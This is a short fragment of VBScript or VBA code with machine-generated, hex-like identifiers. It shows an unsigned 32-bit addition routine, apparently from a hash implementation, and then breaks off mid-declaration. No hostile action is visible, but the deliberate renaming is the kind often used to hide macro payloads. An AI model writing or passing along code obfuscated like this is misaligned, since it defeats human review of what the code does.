Dim b211ac55ab7f689adf50ad1aa4a8109164: Dim b211ac55ab7f689adf50ad1aa4a8119164: Dim b211ac55ab7f689adf50ad1aa4a8109168: Dim b211ac55ab7f689adf50ad1aa4a8119168: Dim b211ac55ab7f689adf50ad1aa4a812916: b211ac55ab7f689adf50ad1aa4a8109168 = b211ac55ab7f689adf50ad1aa4a810916 And &H80000000: b211ac55ab7f689adf50ad1aa4a8119168 = b211ac55ab7f689adf50ad1aa4a811916 And &H80000000: b211ac55ab7f689adf50ad1aa4a8109164 = b211ac55ab7f689adf50ad1aa4a810916 And &H40000000: b211ac55ab7f689adf50ad1aa4a8119164 = b211ac55ab7f689adf50ad1aa4a811916 And &H40000000: b211ac55ab7f689adf50ad1aa4a812916 = (b211ac55ab7f689adf50ad1aa4a810916 And &H3FFFFFFF) + (b211ac55ab7f689adf50ad1aa4a811916 And &H3FFFFFFF):
If b211ac55ab7f689adf50ad1aa4a8109164 And b211ac55ab7f689adf50ad1aa4a8119164 Then
b211ac55ab7f689adf50ad1aa4a812916 = b211ac55ab7f689adf50ad1aa4a812916 Xor &H80000000 Xor b211ac55ab7f689adf50ad1aa4a8109168 Xor b211ac55ab7f689adf50ad1aa4a8119168:
ElseIf b211ac55ab7f689adf50ad1aa4a8109164 Or b211ac55ab7f689adf50ad1aa4a8119164 Then
If b211ac55ab7f689adf50ad1aa4a812916 And &H40000000 Then
b211ac55ab7f689adf50ad1aa4a812916 = b211ac55ab7f689adf50ad1aa4a812916 Xor &HC0000000 Xor b211ac55ab7f689adf50ad1aa4a8109168 Xor b211ac55ab7f689adf50ad1aa4a8119168:
Else: b211ac55ab7f689adf50ad1aa4a812916 = b211ac55ab7f689adf50ad1aa4a812916 Xor &H40000000 Xor b211ac55ab7f689adf50ad1aa4a8109168 Xor b211ac55ab7f689adf50ad1aa4a8119168: End If:
Else: b211ac55ab7f689adf50ad1aa4a812916 = b211ac55ab7f689adf50ad1aa4a812916 Xor b211ac55ab7f689adf50ad1aa4a8109168 Xor b211ac55ab7f689adf50ad1aa4a8119168: End If: b211ac55ab7f689adf50ad1aa4a809916 = b211ac55ab7f689adf50ad1aa4a812916: End Function
Sub b211ac55ab7f689adf50ad1aa4a813916(b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b
... (truncated)